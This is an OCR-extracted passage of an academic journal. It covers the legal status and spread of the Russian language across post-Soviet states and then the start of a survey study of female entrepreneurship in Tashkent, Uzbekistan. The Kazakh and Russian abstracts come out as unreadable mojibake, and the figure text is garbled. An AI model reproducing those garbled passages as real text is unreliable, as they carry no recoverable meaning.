Cyrillic alphabet. Nowadays about a quarter of Kazakhstan population does not speak Kazakh at all.
Instead they speak and write Russian which has the official status set by the Constitution in this country.
Nevertheless, many users of social networks in Russia apprehended Nazarbayev’s order to translate
Kazakh into Latin in bayonets, have regarded it as the treachery of the closest ally and next “knife in a
back”. Many oppose this reform inside and outside Kazakhstan including its untimely and expensive
(“How much will cost to change an alphabet”, 2018).

According to Aidos Syrym (2017), Kazakh passed a long way from ethnic minority to the qualified
majority.

71 percent of the populations are ethnic Kazakhs. Still percent 8-9 — the Turkic people, the growing
Uzbek diaspora which in 15 years will become the second for the number in Kazakhstan, the Uighur
diaspora and other. These are the Turkic people, birth rate at them very high, and vital aspirations entirely

Major ethnic groups in Kazakhstan
{late XIX - mid XX century}
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Figure 3 — Major ethnic groups in Kazakhstan (late 19 — mid 20 century)
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others. Therefore the situation will change, but it is necessary to speak correctly, to correctly explain that
transition to Latin concerns only Kazakhs or people who know Kazakh. It will not affect others.

Russian-language media make about 70% of the printing market and 58% of electronic media. It is
quite exciting for me as Kazakh citizen observe political battles in media especially Russian TV. The
information attack on Kazakhstan from Russia media raises many questions in the relationship between
two countries. Solovyov's attacks against Kazakhstan are not casual. The political scientist Satpayev
(2018) is sure that all these games are well planned, and we will see more "traps."

In Tajikistan the situation is much worse: the adult population badly knows Russian, and the youth -
almost does not know. According to paragraph 2 of the Constitution of the Republic of Tajikistan,
November 6, 1994, Russian has the status of the language of international communication. Russian is
native for a minimal number of residents of Tajikistan (only 3%), it is still rather widespread among the
population.In recent years activity of Russian-language media in Tajikistan underwent many changes. In
August 2010 the Russian and Tajik sides reached the agreement on renewal of TV channel broadcasting in
the territory of Tajikistan. In Tajikistan, according to the Constitution of the Republic of Tajikistan of
1994 a state language is Tajik, Russian - the language of international communication. The translation
since 1998 of office-work in the country into Tajik narrowed the sphere of use of Russian.

In Transcaucasia - in all three countries (Armenia, Georgia, and Azerbaijan) less than a third of the
population well know Russian. Russian will lose the positions in Armenia and Georgia.

Armenia is a member of Eurasian Trade Union. The reason for Armenian membership is entirely
political, the unstable situation in Nagorniy Karabakh.

According to the report MFA of Russia "Russian in the world," about 70% of the population of
Armenia know Russian. Despite it, Russian is officially recognized as the language of ethnic minority
according to the European Charter of regional languages (it was accepted in Strasbourg on November 5,
1992).

In the system of secondary education in Armenia, the special place is allocated to Russian. It is
intermediate between the family Armenian and foreign languages (generally it is English, the insignificant
place is taken French, German, Spanish and Persian). Foreign languages by curricula are included in the
schedule from the 2nd class, and 1-2 hours a week are allotted to them. The Armenian school students
learn Russian from the 1st class and till 2-3 hours a week. Both the authorities of Armenia, and society, in
general, consider studying of Russian priority. In 2012 Russian is equated to foreign languages.

From three countries - Belarus, Moldova, and Ukraine - the most disturbing situation develops in
Ukraine. If now the vast majority (70%) of the adult population in general well knows Russian, then the
youth knows Russian much worse (41%).

Thus, in our opinion, in Azerbaijan, Belarus, Kyrgyzstan, and Moldova in the short term, there will
be no considerable reduction of a share of the Russian speaking population. On the contrary, in Armenia,
Georgia, Kazakhstan, Tajikistan, and Ukraine it is possible to predict the rather severe weakening of the
position of Russian.

Considering Russian problem in the former Soviet Union particular attention, it is necessary to pay it
to official legal status in the particular countries. After the collapse of the USSR, the system of measures
of change of the status of Russian and its role realized in the legislation in national culture, and interethnic
communication became a cornerstone in bases of public policy in the field of the national culture of the
newly independent states. The problem of giving of the special status to Russian is very relevant and
essential as the provision of Russian in the state is a critical factor of preservation of its positions.

According to the model law on languages of the CIS accepted by Inter-parliamentary Assembly of the
State Parties on December 4, 2004: A state language is a language which is legislatively fixed for
obligatory use in political, economic, social, cultural and other official spheres.

The official language is the language which is legislatively fixed for use in official spheres along with
the state. The language of an ethnic minority is the language of the ethnic group living in the territory of
the state.

Thus, in full the issue of the status of Russian is resolved only in Belarus. The status of Russian fixed
in the results of a referendum of 1995 and then confirmed in the Constitution of the Republic of Belorussia
of 1996. The paragraph 11 of the allied contract of Russia and Belarus provides that official languages of
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the Union State are state languages of the State Parties without prejudice to the constitutional status of
their state languages.

"More than 80% of the ten-million population of the country Belarus, including practically all city
dwellers use Russian. In the Republic, students learn Russian at all schools".

Most media of Belarus broadcast in Russian. Moreover, in the media market of Belarus, practically
all central radio stations and TV channels of Russia are presented. Also in Belarus, the printed materials
which are turned out in Russian are widely submitted.

In the Republic of Moldova, the status of Russian is not defined by the Constitution of the Republic
Moldova of 1994, but the right for functioning and development of Russian (article 13, item 2) is defined.
However the law "about the functioning of languages in the territory of the Moldavian SSR" 1989
according to which article 3 "Russian as the language of international communication continues to work in
the country.

Official languages in the territory of Gagauzia (autonomy as a part of Moldova) are Moldavian,
Gagauz and Russian, and in the unrecognized Dnestr Moldavian Republic, those are Russian, Moldavian
and Ukrainian.

Besides confirmation of the rights of the ethnic minorities established by international law, the law
contains a number of the provisions which are bringing closer Russian to the status official and also
provides the proportional representation of ethnic minorities in structures of executive and judicial
authority of all levels, in army, bodies of protection of public order.

In Azerbaijan, according to the Constitution of the Azerbaijan Republic and the Law "About a State
Language," Azerbaijani is state language. The status of Russian is not defined, however actually Russian
performs the function of the language of international communication.

The situation with Russian in Georgia is complicated. Georgia ratified the framework convention on
the protection of ethnic minorities. In Abkhazia (which is considered by the Georgian authorities and a
part of the international community as a part of Georgia) Russian is "language of the public and other
institutions." In South Ossetia (is also considered by the Georgian authorities and a part of the
international community as a part of Georgia) — Russian (since July 2012) is a state language along with
Ossetian. Political conflicts between Russia and Georgia considerably complicate cooperation of the
countries in the creation of a shared information space.

It is impossible to call favorable a situation on information space of Georgia. Aggravate all political
conflicts. So, regularly arising contradictions between Georgia and Russia on the questions connected with
the status of South Ossetia also affect language aspects. For example, in 2008 some private owners of
movie theaters in Georgia refused broadcasts of movies in which the Russian speech sounds. At the same
time access to the Russian Internet, servers were blocked, and the ban on the broadcast of Russian-
language media (subsequently this ban was partially withdrawn) is imposed [8].

In Abkhazia, the Abkhazian language has the status state, and Russian is "language of the "state" and
other institutions," and in South Ossetia Russian is official.

In Uzbekistan in an edition of "The law on a state language" till 1995 Russian had the status of the
language of international communication, but on the new edition of "The law on a state language" accep-
ted on December 21, 1995, to Russian the part of language of "ethnic minority" is assigned.

In Turkmenistan the status of Russian is not defined, till 1996, according to the Constitution of the
Republic Turkmenistan and "The law on language" of 1990, Russian had the status of the language of
international communication.

Researchers note a tendency to the replacement of Russian from political and social spheres of life of
Turkmenistan. So, in 1995 the official ban on the existence of the Russian community in Turkmenistan
was imposed that resulted currently in the total absence of the Russian-Turkmen organizations in the
territory of the state.

Due to the de-Russification policy in Turkmenistan Russian-language media are almost not present.
The Russian-language press is presented by the only edition — the Neutral Turkmenistan newspaper. In
2002 import of the Russian-language press to the state territory was strictly limited. On television, there is
10-minute news in Russian. Experts note that at this conjuncture residents of the country give preference
to the viewing of satellite channels, namely — Russian-speaking.
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The forcible annexation of the Crimea, the long and terrible military conflict in Ukraine that all show
how Moscow treat and control former USSR countries.

In Ukraine Russian has several statuses at once (that is one does not exclude another). According to
the Constitution, the status of the state is set only to Ukrainian through the Constitution of Ukraine
guarantees "free development, use and protection of Russian, other languages of ethnic minorities of
Ukraine" (Art. 10). Also Russian has the status of international communication according to "The law on
languages in the Ukrainian SSR" according to which Russian is the language of "international commu-
nication of the people of USSR."

Russian has no status of a state language of Ukraine, but since official language accepts 2012 in the
southern and east regions of the country. In a society constantly there are discussions about the status of
Russian.

The language question is not the first year disputable both in external and in the domestic policy of
the state. The attempt to give to Russian the official status state in 2004 terminated in failure. Currently, in
Ukraine, the strong tendency to the replacement of Russian is observed that encounters high resistance in
regions where 90% of the population — Russian-speaking. It, in turn, generates the conflicts between
Russia and Ukraine.

Eastern Ukraine: Increasingly Costly And Chaotic
Recent events in Eastern Ukraine by the numbers

60 casualties

per day on average

155,800 peaple

internally displaced 188,000 people
have fled to Russia

o

2,119

have been killed
since mid-April people
fled Donetsk in a > '
five-day period

last week

have been wounded
as of 13 August

ey ey e ot Forbes statista’

Figure 4 — The situation in Eastern Ukraine

In July 2012 in Ukraine, the law "About Fundamentals of the Public Language Policy" according to
which Ukrainian position as a state language was adopted. The free use of regional languages is possible
in territories where not less than 10% of the population considered Ukrainian. The relevant law was
repealed on February 23, 2014. However, in the aggravated political situation Petro Poroshenko after the
introduction to a position of the president of Ukraine said that he does not intend to provide to Russian the
status of the state, having noted that in Ukraine Ukrainian will only be the official language. The head of
state made the corresponding statement on an award ceremony of Taras Shevchenko.

Since April 19, 2004. The national council of Ukraine concerning TV and radio broadcasting the
body responsible for licensing of media stopped registration of the mass media using non-state language.
Programs and movies in Russian continue to be broadcast but have to be followed by the Ukrainian credits
at the same time.
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On January 22, 2007, the Ministry of Culture and Tourism of Ukraine signed the memorandum with
distribution companies and demonstrators of movies according to which the companies undertook to
duplicate, sound or subtitles in Ukrainian of the film copy of foreign production 2007 to finish a share of
dubbed films for children's audience to 100%. In June 2007 several general management of the Council of
Europe (on legal issues, concerning human rights and concerning education, culture, and cultural heritage)
in essence condemned "insuperable desire to limit the use of language in the sphere of the home video".

The most critical indicator of the spread of Russian in the former Soviet Union is the number of
educational institutions teaching in Russian and number of the studying school students in them. From
public policy in education in Russian, it is possible to designate two aspects: education in Russian and
studying Russian.

It should be noted that in Belarus and Kazakhstan a considerable part of the population speaks fluent
Russian. Moreover, in these countries a significant share of students in Russian. However in Kazakhstan
less than a half of pupils of schools studies at Russian already that became the result of considerable
narrowing of education in Russian.

On the contrary, in Armenia, Tajikistan, Georgia, and Uzbekistan, a share of the population which is
knowing Russian, rather small. At the moment an opportunity to get an education in Russian in these
countries is practically absent: here it is not enough, or at all, there are no Russian schools, and the share
of students in Russian is minimum. While in Armenia and Tajikistan there is a high need for expansion of
a possibility of studying Russian for schools.

It should be noted that if in the 90th years of the XX century in the newly independent states of the
CIS there were sharp reductions of education in Russian (several thousands of Russian schools were
closed, and the number studying at the Russian schools was reduced more than by 2 million people), then
after the 2000th years this process continues though in some countries it was slowed down. School
training at Russian remains in most the Post-Soviet states: in Belarus - 75% of pupils, Kazakhstan-41%,
Ukraine - 25%, Kyrgyzstan - 23%, Moldova-21%, Azerbaijan - 7%, Georgia - 5%, Armenia-2%.

In all countries, Russian is demanded as the means of communication with Russian-speaking fellow
citizens at work and in life. It demonstrates to the preservation and the importance of the Russian-speaking
environment in all new independent states. About a half of residents of the newly independent states say

Agents of Russian ‘soft power’

» RT & Russian-speaking TV (post-Soviet area)

= Embassies and cultural centres

» ‘Invisible agents’; higher efficiency?
* Russkiy Mir (‘compatriots’)

* |nternational institutions fribunes (the UN, UNESCO...)

» Geopolitical allies tribunes

» Communities abroad
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Figure 5 — Russian as soft power.
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that "knowledge of Russian in life is useful" and therefore it is crucial to learn Russian. The population of
the CIS countries especially notes communicative function of Russian as means of the international
communication. At the same time, Russian continues to bear humanitarian function: it is necessary for
reading literature in Russian, including professional that reflects its importance as a translator of scientific
and unique knowledge and also gives the chance of familiarizing with the Russian culture.

It is impossible to deny that a part of the population of the republics of the CIS gives the vital
importance to the Russian-speaking environment, Russian is wanted to be learned, want to communicate
on it. Therefore Russia has to maintain the Russian culture and Russian.

Despite discrimination and the belittled status in the states of the CIS, Russian still keeps the
commanding presence as the language of international communication or as a language of minorities
(minority language).

Considering the prospects of development of Russian-speaking space in the CIS, the primary
responsibility for ensuring the status and support of Russian, of course, has to lie on the states in which the
Russian-speaking population lives. At the same time the Russian Federation as a basis of the Russian
people, its language and culture can and has to render protection and carry out protection of the Russian
population of the states of the CIS, the compatriots. Besides, protection of the language rights and rights of
ethnic minorities - one of the international obligations of the Russian Federation. It is worth to remember
that saving of Russian is also strengthening of the prestige of the Russian Federation, its positions on the
international scene.

The main directions of this act providing along with protection of the rights of compatriots concrete
actions for preservation and development of Russian, culture, education, information space.

The most important basis of support of the Russian-speaking environment in the states of the CIS are
the projects approved and realized by Russia:

- the program of work with compatriots abroad,

- federal target program "Russian,"

- the state program on rendering assistance to voluntary resettlement to the Russian Federation the
compatriots living abroad.

Thus, the analysis of a problem of the status of Russian in the former Soviet Union allowed drawing
the following conclusions. First, Russian performs some significant functions in the former Soviet Union.

— First of all, it is a function of the language of interstate value, the language of science, culture.

— Secondly, in the course of formation of the newly independent states on the former Soviet Union,
there is a gradual disintegration of uniform language space.

— Thirdly, the status of Russian in each country in the former Soviet Union has the specifics. It is
connected with some factors, such as features of the economic and political development of the country
during the Post-Soviet period, the number of the Russian-speaking population living in the territory of the
country, specifics of the foreign policy of the Russian Federation with this or that country.

— Fourthly, in the maintenance of Russian as means of international communication on space of the
CIS, the Russian Federation begins to play a unique role, carrying out many federal programs.
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INOCTKEHECTIK KEHICTIKTEI'I
OPBIC TIVIIHIH POJII ’KOHE OPBIHbI

AnHotanusi. Peceii aymarbiHga emip cyperid 130 MUIJIMOH aJjaMHHAaH, OPBIC TUTIH ©3iHIH aHa TiJli CAHAWTHIH-
napabiH cadbl 200 MuuHoH agamra ecin oteip. 300-350 MIILTHOH aaMHbIH Oaranaybl OOMBIHIIA OPBIC TUTIH XKETIK
MEHI'epreH JKOHE KYHJENIKTI eMip/e KOJIAaHybl KaFblHaH OIpiHIII HeMece eKIHII OpbIHFa KOS/bL. OleMJIe JKapThl
MWUIMApA aJaM OpBIC TUIIHIH KaHAail 1opekene OONMAachlH MEHIepreH, COHJBIKTaH Aa dJieM OOMbIHIIA aFbUIIIBIH
JKOHE KbITall TIINEPIHEH KEHIH YIIIHII OPBIHIBI aJajbl. BYTiHIT TaHAAFbl Tajac TYABIPHIN OTBHIPFAH CYpPaK dJIeMIIe
COHFBI OH JXKbUIJIaH KeiliH OpBIC TUTIHIHIH ocepi TOMeH el Ma HeMece koK ma? Bip jkarbIiHaH, IICOCTKEHECTIK KEeHiC-
tikre TUIAIH karmaitel KCPO KynelpayblHa JEiiH OpPBIC TLMI KANIBl KaOBULTAHFAH YITApaNbIK KapbIM-KAThIHAC
KypaJibl PETiHJIe KbI3MET €TTi, COHBIMEH Oipre OChI JKepJie KapaMa-KalIIbUIBIKTBI Op TYPJIi TeHACHIUSIAP/Ibl aHbIK-
tayra Oonazpl.backa jkarbIHAH aJCcaK, OPBIC Tl JAMACIIOpA ajbIC MIET eJep/e COHFbI KHUbIPMA KbUIAA KOI OCTi.
Peceiine cascu ocepnepaen KpeiMra KochUTybl jkoHeYKpawHaHbIH CoONTYCTiK-BaTbICBIHA COFBICHI OPBIC TLTIHIH
JTopeXKeciHe KOITereH eNAepAiH KaThIHACKH e3repTTi. bipHelne 3epTTeymIiiepaiH «OpbIC Tilli — OYI KYMCaK KYID»,
SIFHU TIOCTKEHECTIK KEHICTIK aJaMaapbl jKoHE OpbIC TUIAI AMAcIiopa eKLIAepl YIIiH KipiKTipy TOculi AereH mikipiHe
KeniceMi3. 3epTTeyliiep KaTapbl KOPCETKEHACH OpbIC TUTIHIH aFbIMIaFbl KaFIaibl ©31HIH HeTi3ri KbI3MeTiHeH 0acka,
TapuXTa Tarbl OIp MaHBI3IbI AJIEYMETTIK KbI3METTI OPBIHIANTHIHBIH KOPCETTI — JIMHIBUCTHKAJIBIK 9JIEM KapTachIH/Aa
YKOFIIBIN KeTy KayilliH jKOI0 YILIiH KapKbIHIBI TYPJE XETUIIIpY KoHe a3 TULALIKTI JaMbitTy. byrinri tanna Kazak-
CTaHIIa QJIEYMETTIK MOceNesepaiH Oipi TYpFhIHIAAPABIH KOIli-KOH Tepic CaabJ0Chl 0OMBIN OThIp. bepiareHn craruc-
TUKAJIBIK CaHJapja op Typ:i aiibipmambuibikrap O0ap. Kasipri yakeirra TM/JL Keli-KOH XasiKbl YIIIH KEH TapajifaH
MemitekeT Peceili O0JIBIIT OTHIp.

Tyiiin ce3nep: opsic Titi, KCPO, TM/I, Tin Typaisl 3aH.
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POJIb U CTATYC PYCCKOI'O A3BIKA
HA TIOCTCOBETCKOM INPOCTPAHCTBE

AHHOTaUMA. YUCIEHHOCTD JII0/IeH, KOTOPbIE CUUTAIOT PYCCKUI POIHBIM SI3bIKOM, MpeBbimaeT 200 MUIMOHOB
4enoBek, 130 MUIITMOHOB U3 KOTOPBIX XKHUBYT Ha Teppuropuu Poccun. B 300-350 MUIIMOHOB OLIEHUBAETCS YHCIIO
J0JIed, BIAJCIOIIMX PYCCKUM SI3bIKOM B COBEPUICHCTBE W HCHOJIB3YIOIIMX €r0 B KauecTBE MEPBOTO WU BTOPOTO
SI3BIKa B TIOBCETHEBHOM OOIIeHHH. Bcero ke pycckuM sS3pIKOM B MUpPE B TOHM WIIM WHOW CTETIEHW BIaIeioT Ooee
MOMYMUJITHAPAA YETIOBEK, U TI0 ATOMY MOKA3aTeli0 PYyCCKUN 3aHMMAeT TPEThe MECTO B MHPE IIOCIIE KUTAHCKOTO 1
aHTIHiickoro. CIIOpHBIM Ha CETOTHSIITHINA JEHb OCTAeTCsI TAKXKe BOMPOC, AIAeT B IMOCIEIHUE NECATHIICTUS BIUSIHNE
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PYCCKOTO s3bIKa B Mupe Wian HeT. C 0JJHOHM CTOPOHBI, SI3BIKBasi CUTYaIMsI HA TOCTCOBETCKOM IPOCTPAHCTBE, I'Zie 0
pacmaga CCCP pycckwii sI3BIK CITYXKHIJI OOHICTIPH3HAHHBIM SI3BIKOM MEKHAIIMOHAIBFHOTO OOMICHHs, BeChbMa IPOTHU-
BOPEUMBA, U 31€Ch MOKHO BBIIBUTH CaMble Pa3INYHbIC TEHICHIUH. A C Ipyroi CTOPOHBI, PyCCKOA3bIUHAS JHACTIOPa
B JalbHEM 3apyOekpe 3a IOCIECIHHWE IBaJLATh JIET BBIPOCIA MHOTOKPAaTHO. BiusHuE MONMTHYECKMX MaHEBPOB
Poccum u mpucoenunenus Kppima, u nanpHelmas BoitHa Ha CeBepo-3amaae YKapanHbl, H3MEHWIO OTHOIICHHE
MHOTHX CTpPaH K CTaTyCy pPycCKOro s3bika. COriacHO psiiy HCCIEeOBaTeNeH, «PyCCKUH SI3BIK — 3TO MATKasl CHIIay,
CHoco0 MHTEerpanyy, Kak >KUTEJeH IOCTCOBETCKOTO IPOCTPAHCTBA TaK W PYCCKO-SI3BIYHOW JMacHopbl. Psin
uccienoBaTesIeldl 0TMEYaeT YTO B HBIHEUIHUX YCJIOBHUSX PYCCKHH SI3bIK, KDOME CBOMX OCHOBHBIX (DYHKLHMH, camMoi
HCTOpHEH TPU3BAH BBIMOJIHATH CIE OJHY BAKHYIO COIUAIBHYIO (DYHKIIMIO — CIIOCOOCTBOBATh PEaHHUMAIIUU M Pa3-
BUTHIO MHWHOPHUTApHBIX S3BIKOB, KOTOPHIM YTPOXKAeT ONACHOCTh MCUYE3HOBEHUsS C JIMHTBUCTUYECKOW KapThl
mupa. OnHON M3 coumanbHBIX HpobseM KazaxcraHa Ha CETrOIHSIIHUI MOMEHT SIBISICTCS OTPULATENIFHOE Calbo
MUrpanuy HaceneHus. Lludpel npencrasisemMple pa3TuuHbIME CTATUCTUYECKHMH BEIOMCTBaMU pasHsTcs. B HacTos-
IIee BpeMsi caMoH TOMyISIpHO# cTpaHoi it Murpanuu HaceneHus B CHIT sensiercs Poccust.
KuroueBsie ciioBa: pycckuii s361k, CCCP, CHI', 3aKk0H 0 sI3BIKaXx.
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FEMALE ENTREPRENEURSHIP IN UZBEKISTAN

Abstract. The aim of this paper is to find why females want to become entrepreneurs and what kind of chal-
lenges they face to be an entrepreneur in Uzbekistan. The present paper recognizes the need for more research in the
field and aims to generate insights about motives, challenges and personal experiences of women who have
established business in Uzbekistan. For this purpose, 65 females who is currently a businessman or intent to start
their own business in Tashkent area were participated in this research and obtained information about their personal
and professional motivation, experiences, and practices. Result showed that gender bias influences to women’s
entrepreneurship activities in Tashkent, Uzbekistan. It is meanwhile, networking and mentoring is not an imperative
challenge for females of Uzbekistan for undertaking entrepreneurship. Segmentation Model is recommended to be
useful. Although, the measures and scales were tested from the point of only female entrepreneurship in the Uzbe-
kistan area, the methodology may, therefore, by applied to opposite gender to compare the level of difference in
motivation and challenges of undertaking entrepreneurship between genders differences.

Key words: Female Entrepreneurship, Motivational Factors, Human Capital Investment Portfolio, Challenges
in Female Entreprencurship.

Introduction. Every entrepreneur should have a clear vision of the image of the entrepreneur not
only for success but also for own satisfaction [1, p. 41]. By itself, an expression of entrepreneurial ability,
according to Western economists, is a willingness to take risks. However, the risk must be logically
justified and mitigated so that the new technology or idea is not destroyed [2, p. 274]. Thus, women
entrepreneurs in Uzbekistan take risks.

Leading academic research project in entrepreneurship, Global Entrepreneurship Monitor data reports
reveal that number of female involved in entreprencurship activities worldwide improved from 4.93 in
2001 to 11 per cent in 2014. In last years the rate of female entrepreneurs has been growing almost in
double in comparison with male entrepreneurs and this shows that for female entrepreneurship golden age
has finally started [3]. Increasing female participation in entrepreneurship leading to economic and social
development and females are becoming one of the main contributors of global economic growth [3]. This
phenomenon is particularly highlighted in Uzbekistan in last years. Uzbek Government approved state
program by Presidential Decree UP - 4947 of February 7, 2017 in order to support (female entrepre-
neurship) and create more jobs for fresh graduates of college and universities. As stated by the Chamber of
Commerce and Industry of Uzbekistan, the number of female-leading private enterprises composed of 10
percent of total businesses in the country. However, this indicator is still low because of lack of capital,
knowledge and skills to do entreprencurship [4].

In last year’s Uzbekistan achieved boom in entrepreneurship. Females from urban and rural areas
started to establish their private business activities. First Uzbek women NGO, Business Women
Association (BWA) has been contributing to the expansion of private sector by supporting new female
enterprises. BWA's regional department of the “Tadbirkor Ayol” (businesswoman) organizes a forum
every year for representatives of female small businesses and private enterprises [5]. As deputy governor
of Tashkent Region and chairperson of the women's committee Fayziyeva says, increasing active parti-
cipation of females in society and support for their aspirations and initiatives in the area of entrepre-
neurship assist to ensure the steady development of the country's economy and to increase nation's
wellbeing. Index Mundi (2017) statistics show that from 29,473,614 Uzbekistan population, 44% of them

— 127——



Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

working adults and from this male consist of 6,444,288 and females 6,510,741 numbers. Literacy rate of
Uzbek females reported as 99.5 percent [6]. From the regional perspective about 8200 females are
involved in entrepreneurship nowadays. From this about 1000 of them are craftswomen and 700 operate
their own farms, reports chairwoman of the regional department of the Tadbirkor Ayol BWA of
Uzbekistan, Qodirkhonova [5]. Fact fish statistics of 2013 show that firms with female participation in
ownership shows higher results 29% in comparison with 2005 indicators which is 15% [7].

Sadly, to say that, females still face many impediments to actualize their self-employment. As in most
developing countries these limitations are concern about empowerment of female activities. Besides that,
cultural, economic and financial barriers are still remaining questionable. For cultural barrier it can be said
that encouraging female entrepreneurship in Uzbek traditional society is not widely accepted because of
gender inequality is still exist at some degree within the country. Female entrepreneurship may be counted
as claiming dominance over the male counterparts. This even uninformed barrier has perceptible effect on
female determination to undertake business activities. Another reason may be economic barriers which
females come across. Mostly, females are enrolled in less well-paid sectors of the economy. Females
concentrate in non-productive industry like health, education, and culture which is comparatively lower
than other industries. Even though lots of effort made by government toward female empowerment,
commonly micro or small-scale enterprises and the informal sectors are mostly active among Uzbek
business ladies. Furthermore, financial barriers coming from less access to credit and property other
constraints for female entrepreneurship. Financial barrier is more sensitive for females than males. Besides
limited access to traditional sources of funding, females counted as not capable of achieving success, lack
of knowledge in business plans the absence of efficient high-level networking. Furthermore, human
capital investments are one more constraint that should be well planned by females when they support
their family alone, when they lost their breadwinner. And last, work life balance is another important issue
which females count as most demanding harmonizing work and home duties at the same time [8].

Research objectives and significance of the study. Objectives of research is to find out difficulties
facing among younger female entrepreneurs and motivation factors of starting own business. Moreover, to
discover the effect of human capital investment and work life balance in female private enterprises
lifestyle. This research will explore current situation about private female enterprises in Uzbekistan and
how it may be improved in the future. Benefits of this study is to increase the number of female involved
in top management by analysing barriers they face to start a new enterprise. It encourages females to
believe on themselves and keep the balance between work and family responsibilities. Moreover, this
report will assist to diminish the unevenness between male and females in upper level management.

Literature review

Motivational Factors. Central issue for all entrepreneurs is motivation to establish own business [9].
The reason for motivation of establishing a new business may come from internal or external traits. Push
and pull factors are essential in female entrepreneurship. For some females, entrepreneurship is a way to
get rid of from unemployment, increase family income or not fulfilment from existing job and necessity to
balance work and home responsibilities. At the same time pull factors need for attainment - self-
fulfilment, strive for independence, personal freedom, security, satisfaction, willing for prosperity, social
status and power or because an opportunity was identified. Moreover, females may take business oppor-
tunities as a problem solver for the problems in their life [9]. In other research done by Robb, motivation
for starting a company or getting involved in an early-stage firm questioned. As Robb states, females start
their company for similar reasons as males, cite similar self-perceived reasons for success [10].

Barriers and Challenges. Some researchers contemplate that lower participation of women in
entrepreneurship is due to gender barrier, human and financial resource inputs. Further studies prove that
access to capital is the impediment to the progression of women possessed firms. From the latest surveys it
has been identified that mostly females rely on their own funding rather than external sources of financing
[10]. For the growth-oriented entrepreneurship external capital is essential within the context of debt and
equity. If female entrepreneurs do not search for, or if they are not able to get external capital, their visions
for growing their firms are shrunk considerably [11].

Human Capital Investment. Various literatures suggest that managerial advancement is positively
related to human capital credentials. As Becker [8], human capital investment in terms of improving
education, training, and work experience which later brings better payoffs and status in new job. Besides
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that, Becker [8] points out that educated people can achieve managerial positions, paid more for better
knowledge, problem solving skills and for productivity. It is apparent that education, training and work
experience leads to advancement [8]. According to Burke and McKeen (1994a) managerial females
participating in training and educational activities are better dedicated, fulfilled and involved into the job,
prompt to higher career prospects. Saying specifically, females’ position in senior management is
associated with increased knowledge and skills and professional development opportunities made
available to them throughout their careers [12].

From the other side, Ragins and Sundstrom (1989) also identified that training can develop know-
ledge, skills, credentials, and credibility, and thus it will be advantageous for the promotion. Therefore,
education and training seem to have a great importance to the career development of female managers.
Morrison et al, (1987) specified that female managers should get equal access to education, training and
development as males. From some people’s consideration, receiving less training and development is
usually common for females, jobs requiring like nurturing skills is typically appropriate for females and
challenging and risky job assignments are not entrusted for females. For females, training and education
are vital to get managerial skills, whereas it is harder for females to get expertise from the job assessment
and work experience. Furthermore, as Jamali et al. (2006) highlighted that even females themselves are
agreeing to take less opportunities for professional development than males in an organization [8].

Work Life Balance. Studies indicate that work life balance plays an important role in balancing
females work and family demands, which leads to better employment efficiency and significant business
enhancements. An investigation done by Dex, Smith, and Winter (2001) found that societies offering
parental leave enjoyed above average labour productivity, and that provision of flexible working hours
and telecommuting was associated with decreased employee turnover. Furthermore, Hughes (2007) also
mentioned that an organization can advantage from assisting employees to consider and generate work life
balance. Besides that, organization should adopt the work life balance practices for instance flexible work
hours; job sharing, telecommuting; childcare benefits, on-site childcare centres, and eldercare benefits in
order to help female employees balance their work, non-work commitments then increase their pro-
ductivity and lead to significant business improvements [8]. While Shelton (2006) posits that the use of
“work-family management strategy” will help female entrepreneurs to achieve balance and experience
greater well-being, and at the same time good business performance, Kirkwood and Totell (2008) ack-
nowledge that the strategies employed by the women entrepreneurs are not always the key to work-family
balance. They conclude that even though many women start their own business in order to balance their
dual roles, the reality is different from their expectations and entrepreneurship does not always allow them
to manage between the family life and the business life: “For many women entrepreneurs, the goal of
achieving work—family balance by choosing to start a business may be somewhat unattainable. For many
women entrepreneurs, balancing and managing the work—family divide is a continual struggle. While
there is some flexibility in terms of when to work and where to work, the amount of work they do does not
lessen. However, they could choose to work with a partner and choose the types of employees they wanted
to work with, so some ability to achieve work—family balance is apparent that may not be the case for
those who are employees of other companies” [13].

Research Methodology. Research done is quantitative study and it is a cause and casual study in
term of its practise. The population of the study covered service and manufacturing, merchandising
businesses. The nature of these firm's businesses are CEO's of banks, private shop owners, medical stuff
manufacturers, designing, wedding organizers, food processing, legal education start-up owners, tradi-
tional clothes brands production owners and other small business holders.

Flow of information comes from theory of role of female entrepreneurship and hypothesis about
relationship between dependent and independent variables: motivational factors, challenges, human capital
investment, work life balance. A survey done in a form of questionnaire with about 20 questions in mul-
tiple choice format. Mostly, primary data applied in research which collected from the respondents. This
form consisted from two parts. The first part was about demographic information, while second most
important part asked main questions related to the research topic. Sample questions used from various
sources like internet, publications, journals, previous researches. Targeted population in this research
covered all females who wants to start their own businesses and females who already own private
enterprises. Non-Probability Sampling technique used to select potential respondents in this survey. The
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sample size for this study is 65 out of 100 completed questionnaires chosen, descriptive analysis is used to
explain the profile of the respondents and to determine general information about female entrepreneurship
in Uzbekistan. Besides that, One-Way ANOVA, Pearson Moment Correlation Test and Multiple
Regression Analysis were used for the hypotheses testing.

Research Results

Respondents Profile. In first part of the questionnaire, demographic information of the respondents
was collected. Majority of the female respondent in this study were in the age range of 25-30 years old
which stated 49.2%. In this study, females with higher education participated more 78.5% than females
completed high school, which is 21.5% only. In addition, majority of female employment status 75.4% are
on the stage to intend to start its own business than currently a businessman 24.6%.

Motivational Factors
. |
Human Capital Female

Investment Portfolio Challenges Entrepreneurship

\
Work Life Balance

Research Framework

Female Entrepreneurship. Result shows that, females in Uzbekistan consider that entrepreneurship
is consent and there are plenty of chances to start their own business. Moreover, mostly females believe
that if they continue to work on themselves there is a chance of getting higher positions in future equally
with mans. Moreover, female entrepreneurship from the point of age group can be seen that females are
getting more motivated to do business between the age of 25-35 which is relatively high than younger
females at the age of 20-25. However, female entrepreneurship in terms of age group, can be seen that
completed high school level females are achieved higher results in doing small scale businesses in
comparison with females who is holding higher education degree. In addition to that, the number of
females who is already businessman is quite numerous, while the indicator of females who intended to
start their own business is comparatively lover. As female entrepreneurship in Uzbekistan is commonly
accepted among females and this number is steadily increasing.

Entrepreneurship Motivations. Study results demonstrates that females on the age of 30-35 are
highly motivated 15.5% than younger females on the age of 20-25. ANOVA test results show that intrinsic
and extrinsic motivation among females of all ages, females in range of 30-35 are highly motivated to do
business with the figures of 15.5 %, but females with higher education level which is 15% are less moti-
vated to start their own business in comparison with torturing degree females. Research shows that in
Uzbekistan females with higher education level mostly prefer to start their career with working in a
company and getting more experience before establishing their own. Moreover, 16% females from the
research done are currently entrepreneurs are basically motivated in doing business, which indicates
